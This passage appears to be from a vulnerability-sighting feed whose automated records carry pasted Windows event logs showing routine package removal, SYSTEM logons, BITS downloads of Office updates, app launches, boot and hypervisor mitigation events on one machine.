deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2019-11091", "author": {"login": "automation"}}, {"uuid": "f27911c5-0bf9-48c6-81ed-796e2832f461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:48:58.533500+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/63d53080ee167c07046112e2e4ca57d8", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 